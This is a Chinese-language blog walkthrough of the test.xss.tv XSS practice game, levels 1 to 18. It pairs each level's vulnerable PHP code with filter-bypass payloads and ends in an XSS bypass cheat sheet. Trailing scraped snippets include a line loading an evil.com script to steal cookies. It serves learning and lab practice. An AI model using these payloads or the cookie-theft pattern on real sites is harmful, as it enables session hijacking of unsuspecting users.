1.6 xss挑战平台练习

-------------------------

XSS挑战之旅

-------------------------

最近在学习xss，找到了一个xss练习平台，在线地址：http://test.xss.tv/

实验环境也可以本地搭建，不过需要php+mysql的环境：

xss通关小游戏：https://pan.baidu.com/s/1zS2GwTNbMBXEF2yNEBeLgA   密码：85g8

我这里使用本地搭建，方便分析代码，安装好的页面如下：

Level 1:

分析一下源代码中的判断xss的代码：

<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>

根据代码发现，变量$str从url接受一个get类型的name参数，并且没有对传入的name参数进行任何过滤

直接echo出来，我们可以直接构造任意可弹窗payload,

这里使用最基本的：<script>alert(1)</script>，也可以使用 <svg/onload=alert(1)> 等...

成功过关！

Level 2:

从图中可以看出这是一个典型的搜索框xss，

分析一下源代码中的判断xss的代码：

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".‘<center>
<form action=level2.php method=GET>
<input name=keyword  value="‘.$str.‘">
<input type=submit name=submit value="搜索"/>
</form>
</center>‘;
?>

分析代码，仍然是使用get方法，从url中接受一个keyword参数，不过这里用到一个过滤函数htmlspecialchars()，

这个函数把预定义的字符转换为 HTML 实体，等于<不能用，这时候一种方法是黑名单绕过，就是不使用被过滤的符号，使用js的事件：

payload :  " onclick=alert(1)这样需要点击一下输入框<br>

" onmouseover=alert(1)>需要鼠标划过输入框<br><br>

另外一种方法就是在构造payload就要将input的文本框本分提前闭合，不影响我们弹框代码，

我这里使用  "><script>alert(1)</script>

这样的话 : <input name="keyword" value="  "><script>alert(1)</script>"

这样value="  "，不会检查我们的弹窗代码

成功过关！！！

Level 3:

分析一下源代码中的判断xss的代码：

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value=‘".htmlspecialchars($str)."‘>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

分析代码发现跟上面大同小异，不过过滤更加严格了，特别是value=‘".htmlspecialchars($str)."‘发现

上题尝试闭合<"">构造<script>弹窗方法失效了，应为value中的<被转义了，只能利用上题中的js时间

来构造弹窗，不过这里需要用单引号闭合，构造payload :  ‘ onmouseover=alert(1)//

这样的话： <input name=keyword value=‘  ‘ onmouseover=alert(1)// ‘>

闯关成功！！！

Level 4:

分析一下源代码中的判断xss的代码：

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".‘<center>
<form action=level4.php method=GET>
<input name=keyword  value="‘.$str3.‘">
<input type=submit name=submit value=搜索 />
</form>
</center>‘;
?>

这里我们看到，我们传入进去的值又经过了两个函数的参与。
函数说明：
Str_replace(">", " " ,$str)，此函数将变量str中的字符>转换为空，转换时区分大小写。同理将<装换为空，

然后在经过htmlspecialchars()函数，将一些预定义符号转换为html实体。

通过这几个函数的过滤转化，我们前三关的payload肯定对不能用的。所以接下来我们需要做的就是，

在没有符号“<>”的情况下，并且语句不被htmlspecialchars()函数影响的情况下构建payload。

所以我们在这里可以构造一个输入到文本框后出现相应的事件。我们的payload：
" onfocus=alert(1) autofocus="

" onclick=alert(1) //
这样我们输入的payload没有被函数过滤，并且经过htmlspecailchars()函数转换并不影响最 input文本框。所以输入后文本框内容就变成了：

<input name=keyword value=" " onfocus=alert(1) autofocus=" " >

<input name=keyword value=" " onclick=alert(1) //">


Onfocus事件：定义的事件将在对象获得焦点时触发，这里指input标签获得焦点。
Autofocus属性：input标签的属性，当页面加载input标签，自动获得焦点。
焦点：这里指你的光标的位置，也就是说当你的光标出现在input文本框这里，将进行onfocus事件的发生。

Level 5:

分析一下源代码中的判断xss的代码：

<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".‘<center>
<form action=level5.php method=GET>
<input name=keyword  value="‘.$str3.‘">
<input type=submit name=submit value=搜索 />
</form>
</center>‘;
?>

分析代码发现，$str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); 就直接把

<script 转换成 <scr_ipt ，on转换成 o_n ，这样就过滤了js事件，$str = strtolower($_GET["keyword"]);这样

大小写绕过也失效，不过这次没有过滤尖括号<>，这里使用伪协议来构造payload:

"><iframe src=javascript:alert(1)>

"> <a href="javascript:alert(1)">bmjoker</a>

"> <a href="javascript:%61lert(1)">bmjoker</a> //

这样的话： <input name=keyword value="  "><iframe src=javascript:alert(1)>">

<input name=keyword value="  "><iframe src=javascript:alert(1)>">

闯关成功！！！

Level 6:

分析一下源代码中的判断xss的代码：

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".‘<center>
<form action=level6.php method=GET>
<input name=keyword  value="‘.$str6.‘">
<input type=submit name=submit value=搜索 />
</form>
</center>‘;
?>

分析代码，发现同样过滤了很多字符，<script 转换成 <scr_ipt ，on 转换成 o_n ，src 转换成 sr_c ，

data 转换成 da_ta，href 转换成 hr_ef，比起上一关，发现这里没有大小写约束， 我们可以构造payload:

"> <Script>alert(1)</script> //

"> <img Src=x OnError=alert(1)> //

"><a HrEf="javascript:alert(1)">bmjoker</a>//

"><svg x=" " Onclick=alert(1)>

"><ScriPt>alert(1)<sCrIpt>"

" OncliCk=alert(1) //

成功过关！！！

Level 7:

分析一下源代码中的判断xss的代码：

<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".‘<center>
<form action=level7.php method=GET>
<input name=keyword  value="‘.$str6.‘">
<input type=submit name=submit value=搜索 />
</form>
</center>‘;
?>

分析代码，不仅大小写不能用了，script，on，src ，data ，href 都直接转换成空，

尝试双写绕过，构造payload:

"><sscriptcript>alert(1)</sscriptcript>

" oonnmouseover=alert(1)

"><a hrhrefef=javascriscriptpt:alert(1)>bmjoker</a>

闯关成功！！！

Level 8:

分析一下源代码中的判断xss的代码：

<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace(‘"‘,‘&quot‘,$str6);
echo ‘<center>
<form action=level8.php method=GET>
<input name=keyword  value="‘.htmlspecialchars($str).‘">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>‘;
?>
<?php
 echo ‘<center><BR><a href="‘.$str7.‘">友情链接</a></center>‘;
?>

分析代码，<script 转换成 <scr_ipt ，on 转换成 o_n ，src 转换成 sr_c ，data 转换成 da_ta，href 转换成 hr_ef，

大小写也失效了，" 还被编码，但是尖括号<> ，单引号 ‘ ,% ，# ，& 符号没有被过滤，输出点在a标签内，href属性中，

属性中双引号被转换成HTML实体，无法截断属性，我们可以使用协议绕过javascript:alert，由于script关键字被过滤，

javascript会被替换成javasc_rpt，我们使用&#x72来代替r ,HTML字符实体转换：https://www.qqxiuzi.cn/bianma/zifushiti.php

，伪协议后面可以使用URL编码等进行编码。构造payload：

javascript:alert(1)

javascript:%61lert(1)

javascript:alert`1`

javascript:alert`1`

成功过关！！！

Level 9:

分析一下源代码中的判断xss的代码：

<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace(‘"‘,‘&quot‘,$str6);
echo ‘<center>
<form action=level9.php method=GET>
<input name=keyword  value="‘.htmlspecialchars($str).‘">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>‘;
?>
<?php
if(false===strpos($str7,‘http://‘))
{
  echo ‘<center><BR><a href="您的链接不合法？有没有！">友情链接</a></center>‘;
        }
else
{
  echo ‘<center><BR><a href="‘.$str7.‘">友情链接</a></center>‘;
}
?>

分析代码，发现跟上个挑战大同小异，不同的是多了自己自动检测url，如果发现没有带http:// 内容则会显示不合法，

构造payload：

javascript:alert(1)//http://xxx.com  //利用注释

javascript:%0dhttp://xxx.com%0dalert(1)  //不利用注释

javascript:%0ahttp://xxx.com%0daalert(1)  //不利用注释

闯关成功！！！

Level 10:

分析一下源代码中的判断xss的代码：

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".‘<center>
<form id=search>
<input name="t_link"  value="‘.‘" type="hidden">
<input name="t_history"  value="‘.‘" type="hidden">
<input name="t_sort"  value="‘.$str33.‘" type="hidden">
</form>
</center>‘;
?>

分析代码，发现需要两个参数，一个是keyword，一个是t_sort，尖括号<>都被转换成空，还有三个hidden的隐藏输入框，

或许我们可以从隐藏的输入框下手，构造payload：

keyword = test&t_sort="type="text" onclick = "alert(1)

keyword = test&t_sort="type="text" onmouseover="alert(1)

keyword = test&t_sort="type="text" onmouseover=alert`1`

这样的话：<input name="t_sort" value=" " type="text" onclick = "alert(1)" type="hidden">

构成一个js的点击弹窗事件：

闯关成功！！！

Level 11:

分析一下源代码中的判断xss的代码：

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER[‘HTTP_REFERER‘];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".‘<center>
<form id=search>
<input name="t_link"  value="‘.‘" type="hidden">
<input name="t_history"  value="‘.‘" type="hidden">
<input name="t_sort"  value="‘.htmlspecialchars($str00).‘" type="hidden">
<input name="t_ref"  value="‘.$str33.‘" type="hidden">
</form>
</center>‘;
?>

分析代码，发现比起上一个挑战来说，多了一个 $str11=$_SERVER[‘HTTP_REFERER‘]; 考察的是http头部的

xss注入，开始抓包，burp修改相应的字段，构造http头部Referer的payload:

Referer: " onmouseover=alert(1) type="text"

Referer: " onclick="alert(1) type="text"

burp抓包，改Referer头：

forward发包

闯关成功！！！

Level 12:

分析一下源代码中的判断xss的代码：

<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER[‘HTTP_USER_AGENT‘];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".‘<center>
<form id=search>
<input name="t_link"  value="‘.‘" type="hidden">
<input name="t_history"  value="‘.‘" type="hidden">
<input name="t_sort"  value="‘.htmlspecialchars($str00).‘" type="hidden">
<input name="t_ua"  value="‘.$str33.‘" type="hidden">
</form>
</center>‘;
?>

分析代码，这次换成了 $str11=$_SERVER[‘HTTP_USER_AGENT‘];  应该是User-Agent的http头部注入，

burp抓包，构造http头部User-Agent的payload:

User-Agent: " onmouseover=alert(1) type="text"

User-Agent: " onclick="alert(1) type="text"

burp抓包，改User-Agent头：

forward发包：

闯关成功！！！

Level 13:

分析一下源代码中的判断xss的代码：

<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".‘<center>
<form id=search>
<input name="t_link"  value="‘.‘" type="hidden">
<input name="t_history"  value="‘.‘" type="hidden">
<input name="t_sort"  value="‘.htmlspecialchars($str00).‘" type="hidden">
<input name="t_cook"  value="‘.$str33.‘" type="hidden">
</form>
</center>‘;
?>

分析代码，这次换成了 setcookie("user", "call me maybe?", time()+3600);  应该是cookie类型的xss注入

直接构造payload:

Cookie: " onmouseover=alert(1) type="text"

Cookie: " onclick="alert(1) type="text"

burp抓包，改cookie：

forward发包：

Level 14:

....level14崩了，我们看一下大佬的payload:

"><img src=1 onerror=alert(1)>

百度得出答案，这里用的是乌云爆出的exif viewer的漏洞,漏洞原理是通过修改图片的exif信息，

造成解析图片exif触发XSS。利用工具推荐exiftool。以后看见上传果断又一个姿势啊。

修改图片exif信息如标题，作者。

Level 15:

分析一下源代码中的判断xss的代码：

<html ng-app><head>        <meta charset="utf-8">        <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script><script>window.alert = function()  {     confirm("完成的不错！"); window.location.href="level16.php?keyword=test"; }</script><title>欢迎来到level15</title></head><h1 align=center>欢迎来到第15关，自己想个办法走出去吧！</h1><p align=center><img src=level15.png></p><?php ini_set("display_errors", 0);$str = $_GET["src"];echo ‘<body><span class="ng-include:‘.htmlspecialchars($str).‘"></span></body>‘;?>

分析代码，这一关考的angular js的知识，稍微百度一下相关知识，发现ng-include有包含文件的意思，也就相当于php里面的include

发现可以包含第一关的页面，构造payload:

src=‘level1.php?name=<img src=x onerror=alert(1)>‘

emmm......

Level 16:

分析一下源代码中的判断xss的代码：

<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("    ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>

分析代码，发现大小写绕过失效，script ,  / ,   ,等都被转换成&nbsp，我们可以用%0d，%0a等绕过：

构造payload：

<img%0Dsrc=1%0Donerror=alert(1)>

<iframe%0asrc=x%0donmouseover=alert`1`></iframe>

<svg%0aonload=alert`1`></svg>

闯关成功！！！

Level 17:

分析一下源代码中的判断xss的代码：

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

刚开始以为是Flash XSS，仔细一看发现不是，使用了htmlspecialchars进行实体编码，和第三关就一样了，使用on事件。

构造payload:

arg01=123&arg02= onmouseover=alert(1)

arg01=123&arg02=%20onmousedown=alert`1`

arg01=123&arg02=  onmouseover=alert(1) type="text"

闯关成功！！！

Level 18:

分析一下源代码中的判断xss的代码：

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

分析代码，发现完全可以用上一挑战的方法，payload如上

Level 19，20:

Flash xss没了解过...等以后学到再回来更新吧...

XSS绕过常用方法

1、大小写绕过

<ScRIpT>alert(‘123‘)</sCRIpT>

2、编码绕过

  • 1.十六进制编码
  • 2.jsfuck编码
  • 3.url编码
  • 4.unicode编码

<0x736372697074>alert(‘123‘)</0x736372697074>

<img src="1" onerror="alert(1)">

3、绕过magic_quotes_gpc

<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script>

4、标签

闭合标签

"><script>alert(/123/)</script>

</script><script>alert(1)</script>

标签绕过

<img src="x" onerror="alert(1)">

<button onclick="javascript:alert(‘xss‘)>XSS</button">

<title><img a="</title><img/src=1 onerror=alert(1)//">

"onsubmit=javascript:alert(1)%20name="a

<details open ontoggle="eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))">

<video src="http://www.0dutv.com/plug/down/up2.php/104678898.mp3" onprogress=$(‘body‘).prepend(123);$(‘body‘)></video>

5、其他符号绕过

%0a         替换空格

%0d         替换空格

/**/          替换空格

%00          截断

``              替换括号

6、双字符绕过

<img ononerrorerror="123">

<script>alalertert(123)</script>

7、宽字节绕过

  • gbxxxx系列的编码，那么我们尝试一下宽字节  %c0，%bf，%5c，%df

8、其他事件绕过

onload

onclick

onerror

prompt

confirm

onmousemove

9、CRLF injection绕过

CRLF是”回车 + 换行”（\r\n）的简称。

http://www.xxx.com%0d%0a%0d%0a<svg/onload=prompt(1)>

原文地址：https://www.cnblogs.com/bmjoker/p/9446472.html

时间： 2024-12-15 16:40:09

1.6 xss挑战平台练习的相关文章

一个xss利用平台

这是一个project里面收到的cookies 这是设置,支持keep session和用户自定义js 自带测试代码部分 使用python + django,部署0难度. 代码在这里: https://github.com/virusdefender/xsser 一个xss利用平台,码迷,mamicode.com

xss challenges平台学习

虽然在很早之前就接触过xss,有一段时间还就着一本书研究过,但是始终没有实感,掌握的也不够系统,所以现在借着这几个平台再学习一遍 首先来玩一玩xss challenge平台 第一关:http://xss-quiz.int21h.jp/?sid=2a75ff06e0147586b7ceb0fe68ee443b86a6e7b9 第二关:http://xss-quiz.int21h.jp/stage2.php?sid=f2d7d60125bdddb208fa757ee5cdae22f6818cd1 提

xss挑战

题目地址:http://test.xss.tv level1 payload: <svg/onload=alert(1)> <script>alert("哈哈")</script> 源码分析: <?php ini_set("display_errors", 0); $str = $_GET["name"]; echo "<h2 align=center>欢迎用户".$str

XSS测试平台

http://x.0x9.cc/index.php?do=register http://www.webxss.cn/index.php?do=register

构造个人轻量级XSS平台获取管理员cookie并登录

一.前言 本平台是个人轻量级XSS测试平台,仅作为练习参考. 二.实验环境 服务器操作系统:Centos 6.6 Web容器:Apache 三.平台搭建过程 安装Apache 安装PHP 安装Git工具 从GitHub克隆XSS平台源码 删除默认网站内容 rm  -rf  /var/www/* 创建新的网站目录 mkdir  /var/www/xss 从GitHub克隆xss测试源码(https://github.com/firesunCN/BlueLotus_XSSReceiver.git)

某xss挑战赛闯关笔记

0x0 前言 在sec-news发现先知上师傅monika发了一个xss挑战赛的闯关wp([巨人肩膀上的矮子]XSS挑战之旅---游戏通关攻略(更新至18关)https://xianzhi.aliyun.com/forum/read/1462.html),去看了一下发现是前几天刚发现的平台,看了一下那个绕狗教程感觉挺不错的,xss却没有玩,那么正巧就玩一下,顺便学习一波别的师傅的思路. http://xss.tv 闯关地址:http://test.xss.tv 自己做了一些,也看了一下先知mon

白帽子讲Web安全 第三章 跨站脚本攻击（XSS）

XSS----Cross Site Script; XSS攻击,通常指黑客通过"HTML注入"篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击. 1.XSS根据效果划分三类: 1)反射型XSS(非持久型XSS):简单的把用户输入的数据"反射"给浏览器.黑客往往需要诱导用户点击一个恶意链接,才能攻击成功. 2)存储型XSS(持久型XSS):存储型会把用户输入的数据存储在服务器端.这种具有很强的稳定性. 3)DOM Based XSS:通过修

XSS

XSS攻击成功后,攻击者能够对用户当前浏览器的页面植入恶意脚本,通过恶意脚本,控制用户的浏览器.这些用来完成各种具体功能的恶意脚本,成为 XSS Payload XSS Payload实际上就是JavaScript脚本,所以任何JavaScript脚本能实现的功能,XSS Payload都能做到. 1.cookie劫持 http://www.a.com/test.html?abc="><script src=http://www.evil.com/evil.js></sc

《白帽子讲web安全》第三章XSS读书笔记

3.1 xss简介 cross site script 本来缩写是css,为了跟网站开发中的css区分,安全领域称为xss. xss的产生原因是直接把用户的输入,输出到页面上,黑客可以输入脚本语句进行攻击. xss的分类:反射性xss,需要诱使用户点击恶意链接才能攻击成功:存储型xss,也叫持久型xss,黑客输入的数据可以存储在服务器上:DOM based xss,实际上是一种反射性xss,通过修改页面的DOM来进行攻击. 3.2 xss攻击进阶 3.2.1 初探xss payload xss